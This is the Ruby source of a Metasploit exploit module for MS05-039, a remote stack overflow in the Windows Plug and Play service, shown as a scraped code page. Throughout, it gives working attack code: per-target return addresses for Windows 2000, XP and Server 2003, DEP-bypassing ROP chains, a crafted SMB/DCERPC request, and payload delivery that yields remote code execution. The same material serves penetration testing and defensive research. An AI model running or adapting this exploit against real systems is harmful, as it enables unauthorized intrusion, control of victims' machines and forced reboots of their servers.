Path: blob/master/modules/exploits/windows/smb/ms05_039_pnp.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'MS05-039 Microsoft Plug and Play Service Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in the Windows Plug18and Play service. This vulnerability can be exploited on19Windows 2000 without a valid user account.2021NOTE: Since the PnP service runs inside the service.exe process, a failed22exploit attempt will cause the system to automatically reboot.23},24'Author' => [ 'hdm', 'cazz' ],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2005-1983' ],28[ 'OSVDB', '18605' ],29[ 'BID', '14513' ],30[ 'MSB', 'MS05-039' ]31],32'DefaultOptions' => {33'EXITFUNC' => 'thread',34},35'Privileged' => true,36'Payload' => {37'Space' => 1000,38'BadChars' => "\x00",39'StackAdjustment' => -3500,40},41'Platform' => 'win',42'Targets' => [43[44'Windows 2000 SP0-SP4', # Tested OK - 11/25/2005 hdm45{46'Ret' => 0x767a38f6, # umpnpmgr.dll47},48],49[50'Windows 2000 SP4 French',51{52'Ret' => 0x767438f6, # French target by ExaProbe <[email protected]>53},54],55[56'Windows 2000 SP4 Spanish',57{58'Ret' => 0x767738f6, # umpnpmgr.dll59},60],61[62# Tested on: English/French/German/Dutch/Finnish/Greek/Polish/Portuguese/Hungarian/Korean/Chinese/Arabic/Turkish/Russian63'Windows 2000 SP4 Universal',64{65'Ret' => 0x01013C79, # [Pita] [Houmous] <[email protected]>66},67],68[69'Windows 2000 SP0-SP4 German',70{71'Ret' => 0x767338f6, # German target by Michael Thumann <[email protected]>72},73],74[75'Windows 2000 SP0-SP4 Italian',76{77'Ret' => 0x7677366f, # acaro <[email protected]>78},79],80[81'Windows XP SP1 English',82{83'Ret' => 0x758c572a, # pop edi / pop ebx / ret in umpnpmgr.dll v5.1.2600.110684'Pipe' => 'ntsvcs',85'Offset' => 16,86}87],88# NOTE: XP SP2, Server 2003 (and SP1) require an Administrator account to access89# the vulnerable functionality.90[91'Windows XP SP2 English (Requires Admin)',92# SafeSEH enabled, DEP AlwaysOn93{94# 'Ret' => 0x41424344,95'Ret' => 0x758d2bb3, # pop eax / ret 0x896'Pipe' => 'ntsvcs',97'PtrToZero' => 0x758c0170, # PE data of umpnpmgr.dll v5.1.2600.218098'Offset' => 72,99'EspOffset' => 108,100'RopStack' =>101# All addresses are from umpnpmgr.dll v5.2.3790.1830102[103#104# Step 1. Allocate an executable heap with HeapCreate105#106# Resolve HeapCreate from import1070x758c1148, # pointer to HeapCreate import1080x758c2950, # mov eax, [eax] / pop ebp / ret 0x81090x41414141, # scratch1100x41414141, # scratch111# 0x758da008, # becomes ebp (something writable)1120x758da1c8 - 0xc, # becomes ebp (writable, used later)113114# Call HeapCreate1150x758cb728, # call eax / mov [ebp+0xc],eax / jmp... / mov eax,[ebp+0xc] / pop edi,esi,ebx,ebp / ret 0xc1160x41414141, # scratch1170x41414141, # scratch1180x01040110, # flOptions (gets & with 0x40005)1190x01010101,1200x01010101,1210x758ce552, # becomes edi - pop edi,esi / ret1220x758cdd7e, # becomes esi - pop esi,ebx,ebp / ret 0x41230x41414141, # becomes ebx1240x41414141, # becomes ebp125126# Don't bother calling HeapAlloc, just add 0x8000 to the Heap Base1270x758d45f3, # or eax,0x8000 / pop ebp / ret 0x41280x41414141, # scratch1290x41414141, # scratch1300x41414141, # scratch1310x41414141, # becomes ebp132133# save eax to ebx1340x758ce0d5, # push eax / call esi1350x41414141, # scratch1360x758da008 + 0x18, # becomes ebp137138# Setup eax to load our saved stack pointer1390x758d18db, # pop eax / ret 0xc1400x41414141, # scratch1410x758c524e, # becomes eax - pop ebp / ret 0x8142# 0x758c2423, # becomes eax - pop esi,ebp / ret 0x8143144# Store a pointer to the stack to a known address (ebp-0x18), flows to eax after1450x758c1281, # mov [ebp-0x18],esp / push eax / mov eax,[ebp-4] / mov [ebp-4],0xffffffff / mov [ebp-8],eax / lea eax,[ebp-0x10] / mov fs:[0],eax / ret1460x41414141, # scratch1470x41414141, # scratch1480x41414141, # scratch149# 0xcafebabe, # becomes esi1500x758da008 - 0x10, # becomes ebp151152# Call lstrcpyW to copy shellcode into executable heap1530x758c542e, # push [ebp+0x10] / push ebx / call lstrcpyW / push ebx / call edi1540x41414141, # scratch1550x41414141, # scratch156157# Skip the junk1580x758c96f6, # add al,0x3b / ret159160# Call the executable segment!1610x758c3b62 # call eax162]163}164],165[166'Windows Server 2003 SP0 English (Requires Admin)',167# SafeSEH unsupported, DEP unsupported168{169'Ret' => 0x780df756, # push esp / ret in msvcp60.dll170'Pipe' => 'ntsvcs',171'PtrToZero' => 0x757702c0, # PE data of umpnpmgr.dll172'Offset' => 72,173}174],175[176'Windows Server 2003 SP1 English (Requires Admin)',177# SafeSEH enabled, DEP AlwaysOn178{179'Pipe' => 'ntsvcs',180# We will need to bypass DEP!181# 'Ret' => 0x41424344,182'Ret' => 0x757873d5, # pop eax / ret 0x4183'PtrToZero' => 0x757702c0, # PE data of umpnpmgr.dll184'Offset' => 72, # offset to saved eip185'EspOffset' => 108, # Offset to where esp ends up pointing186'RopStack' => # NOTE: 0x41414141 will become random data187# All addresses are from umpnpmgr.dll v5.2.3790.1830188[189#190# Step 1. Allocate an executable heap with HeapCreate191#192# Resolve HeapCreate from import1930x75771144, # pointer to HeapCreate import1940x75772e68, # mov eax, [eax] / pop ebp / ret1950x41414141, # scratch1960x41414141, # becomes ebp197# Call HeapCreate1980x7578bc37, # jmp eax1990x41414141, # scratch2000x41414141, # scratch201# Save the new heap address in edi2020x757791d5, # xchg eax,edi / cmp bh,0xff / ret 0x102030x01040110, # flOptions (gets & with 0x40005)2040x01010101,2050x01010101,206207#208# Step 2. Allocate a buffer using this new heap.209#2100x757873d5, # pop eax / ret 0x42110x41414141, # scratch2120x41414141, # scratch2130x41414141, # scratch2140x41414141, # scratch215# Resolve HeapAlloc from import2160x7577115c, # pointer to HeapAlloc import2170x75772e68, # mov eax, [eax] / pop ebp / ret2180x41414141, # scratch2190x41414141, # becomes ebp220# Save the address of HeapAlloc in esi2210x75777ae0, # xchg eax,esi / mov dl,0xff / dec ecx / ret2220x41414141, # scratch2230x41414141, # scratch224# Call HeapAlloc2250x7578bb6b, # push edi / call esi / pop edi,esi,ebp / ret2260xffffffff, # flags2270x00010001, # allocation size2280x0101018d, # becomes edi / first byte stored2290x7577835c, # becomes esi - pop esi / pop ebx / ret2300x757830c3, # becomes ebp/eip - pop esi / ret231232#233# Step 3. Save the heap address into ebx234#2350x7578308f, # push eax / mov [0x7578d8e0],edi / mov [0x7578d39c],edi / call esi2360x41414141, # scratch237# Put heap address in edi2380x757791d5, # xchg eax,edi / cmp bh,0xff / ret 0x10239240#241# Step 4. Write stub:242#243# metasm > lea esi,[esp+4]; _start: lodsb; test al,al; jz _out; stosb; _end: jmp _start; _out:244# "\x8d\x74\x24\x04\xac\x84\xc0\x74\x03\xaa\xeb\xf8"245#246# Store the first byte.2470x7578be14, # stosb / ret2480x41414141, # scratch2490x41414141, # scratch2500x41414141, # scratch2510x41414141, # scratch252# Store another byte!2530x757873d5, # pop eax / ret 0x42540x01010174, # next byte to write2550x7578be14, # stosb / ret2560x41414141, # scratch257# Store another byte!2580x757873d5, # pop eax / ret 0x42590x01010124, # next byte to write2600x7578be14, # stosb / ret2610x41414141, # scratch262# Store another byte!2630x757873d5, # pop eax / ret 0x42640x01010104, # next byte to write2650x7578be14, # stosb / ret2660x41414141, # scratch267# Store another byte!2680x757873d5, # pop eax / ret 0x42690x010101ac, # next byte to write2700x7578be14, # stosb / ret2710x41414141, # scratch272# Store another byte!2730x757873d5, # pop eax / ret 0x42740x01010184, # next byte to write2750x7578be14, # stosb / ret2760x41414141, # scratch277# Store another byte!2780x757873d5, # pop eax / ret 0x42790x010101c0, # next byte to write2800x7578be14, # stosb / ret2810x41414141, # scratch282# Store another byte!2830x757873d5, # pop eax / ret 0x42840x01010174, # next byte to write2850x7578be14, # stosb / ret2860x41414141, # scratch287# Store another byte!2880x757873d5, # pop eax / ret 0x42890x01010103, # next byte to write2900x7578be14, # stosb / ret2910x41414141, # scratch292# Store another byte!2930x757873d5, # pop eax / ret 0x42940x010101aa, # next byte to write2950x7578be14, # stosb / ret2960x41414141, # scratch297# Store another byte!2980x757873d5, # pop eax / ret 0x42990x010101eb, # next byte to write3000x7578be14, # stosb / ret3010x41414141, # scratch302# Store another byte!3030x757873d5, # pop eax / ret 0x43040x010101f8, # next byte to write3050x7578be14, # stosb / ret3060x41414141, # scratch307308#309# Step 5. Finally, call our executable heap buffer.310#3110x75783efe # call ebx312]313}314]315],316'DefaultTarget' => 0,317'DisclosureDate' => '2005-08-09',318'Notes' => {319'Reliability' => UNKNOWN_RELIABILITY,320'Stability' => UNKNOWN_STABILITY,321'SideEffects' => UNKNOWN_SIDE_EFFECTS322}323)324)325326register_options(327[328OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'browser']),329]330)331end332333def pnp_probe(req, pipe = datastore['SMBPIPE'])334print_status("Connecting to the SMB service...")335begin336connect()337smb_login()338rescue ::Exception => e339print_error("Error: #{e.class} #{e}")340end341342handle = dcerpc_handle('8d9f4e40-a03d-11ce-8f69-08003e30051b', '1.0', 'ncacn_np', ["\\#{pipe}"])343print_status("Binding to #{handle} ...")344dcerpc_bind(handle)345print_status("Bound to #{handle} ...")346347# CS_DES348cs_des =349NDR.long(0) + # CSD_SignatureLength350NDR.long(0) + # CSD_LegacyDataOffset351NDR.long(req.length) + # CSD_LegacyDataSize352NDR.long(0) + # CSD_Flags353rand_text(16) + # GUID354req # CSD_LegacyData355356# PNP_QueryResConfList(L"a\\b\\c", 0xffff, (char *)pClassResource, 1000, foo, 4, 0);357358# ResourceName:359stubdata =360NDR.UnicodeConformantVaryingString("a\\b\\c") + # ResourceName, passes both IsLegalDeviceId and IsRootDeviceID361NDR.long(0xffff) + # ResourceID: ResType_ClassSpecific362NDR.UniConformantArray(cs_des) + # Resource (our CS_DES structure)363NDR.long(cs_des.length) + # ResourceLen364NDR.long(4) + # OutputLen (at least 4)365NDR.long(0) # Flags366367print_status("Calling the vulnerable function...")368369begin370dcerpc.call(0x36, stubdata)371rescue Rex::Proto::DCERPC::Exceptions::NoResponse372print_status('Server did not respond, this is expected')373rescue => e374if e.to_s =~ /STATUS_PIPE_DISCONNECTED/375print_status('Server disconnected, this is expected')376else377raise e378end379end380381# Cleanup382disconnect383384if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil and385dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")386return true387else388return false389end390end391392def check393if (pnp_probe('A'))394return Exploit::CheckCode::Vulnerable395end396397return Exploit::CheckCode::Safe398end399400def exploit401# If PtrToZero is set, we use saved-ret-overwrite instead of SEH.402if target['PtrToZero'] then403eip_off = target['Offset']404nul_off = eip_off + 8405406# DEP Bypass version (2003 SP1)407if target['RopStack']408esp_off = target['EspOffset']409410# Start with a randomized base buffer411rop_length = target['RopStack'].length * 4412print_status("ROP Data is %u bytes" % rop_length)413buf = rand_text(esp_off + rop_length)414415# Put the rest of the stack data at where esp ends up...416target['RopStack'].each_with_index { |el, idx|417if el != 0x41414141418buf[esp_off + (idx * 4), 4] = [el].pack('V')419end420}421else422# Start with a randomized base buffer423buf = rand_text(nul_off)424end425426# This becomes EIP427buf[eip_off, 4] = [target.ret].pack('V')428429# Pointer to NULL (4 zero bytes)430buf[nul_off, 4] = [target['PtrToZero']].pack('V')431else432# Pad the string up to reach our SEH frame433buf = rand_text(target['Offset'] ? target['Offset'] : 56)434435# Jump over the address and our invalid pointer to the payload436buf << Rex::Arch::X86.jmp_short('$+32')437buf << rand_text(2)438439# The SEH handler pointer440buf << [target.ret].pack('V')441442# Some padding to reach the next pointer443buf << rand_text(20)444445# ResourceName - cause access violation on RtlInitUnicodeString446buf << rand_text(3) + "\xff"447end448449# Append the encoded payload and we are good to go!450buf << payload.encoded451452# Determine which pipe to use453pipe = target['Pipe'] ? target['Pipe'] : datastore['SMBPIPE']454455pnp_probe(buf, pipe)456457print_status('The server should have executed our payload')458459handler460end461end462463464